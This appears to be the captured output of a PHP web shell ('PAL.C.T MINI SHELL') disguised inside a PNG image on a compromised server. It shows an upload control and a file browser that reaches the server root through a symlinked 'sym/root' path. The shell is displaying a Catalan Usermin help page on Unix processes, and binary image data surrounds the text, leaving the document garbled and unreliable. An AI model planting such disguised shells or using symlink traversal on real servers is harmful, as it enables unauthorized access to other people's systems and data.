�php  IHDRwQ)B�a pHYs  ��sRGB���gAMA�� �a�IDATx��Mk\U��s&uo,�m�D )Xw�+�e?��tw.�o�Wp��;���QHZnw�`gaiJ�9�����̟灙����a�=�nl�[ ʨG��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$��� ��w�@�H��;@ q$�����y H����@�E7j�� 1j+OF����Rg}ܫ�;@�E��a�����~ �j`�u�'o�> �j�-$�_�q?�q�SXzG'��ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/usermin/proc/help/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/usermin/proc/help/intro.ca.UTF-8.html

<header>Processos Unix</header>

UN procés és  un programa en execució al sistema. El teu fullejador
Web, gestor de finestres i servidor X són processos amb els quals pots
interaccionar directament. Molts altres processos s'executen en segon pla,
com ara els servidors Web i altres tasques del sistema. Es crea un nou procés
cada cop que introdueixes una ordre com ara <tt>ls</tt> o <tt>pwd</tt>, 
tot i que aquests processos normalment tenen una vida molt curta.
<p>
Cada procés te un ID únic, anomenat ID del procés o PID. Tot i que en tot
moment cada procés té un PID únic, al llarg del temps els PIDs poden ser
reutilitzats.
<p>
A part del procés inicial (anomenat normalment <tt>init</tt>), cada procés
té un procés pare a partir del qual es crea. Per exemple, si executes
<tt>vi</tt> des de la teva shell, el procés pare de <tt>vi</tt> serà la
teva shell. Un procés pot tenir qualsevol nombre de fills, però només 
un pare.
<p>
Cada procés s'executa amb els permisos d'algun usuari i algun grups,
que s'apliquen quan aquest ha d'accedir fitxers i directoris. Els usuaris
i els processos només poden matar els seus propis processos, excepte
<tt>root</tt>, que pot matar qualsevol cosa.
<p>

<hr>


� y���~�or�5�J�={��E��e�u磝Qk��ᯘG{�?���+�]������ן�?w�M3X^��歌>{�7پ�K�>�o��n�\����j�y��R ���g/�=��f�O��r�o��NV�v��~�Y+��NG�u���Ý����HW��y�w�[eQ�ʨ�S�b��>������>�}G�mx[o[<��{���Ϯ_��qF� ��vMIEND�B`�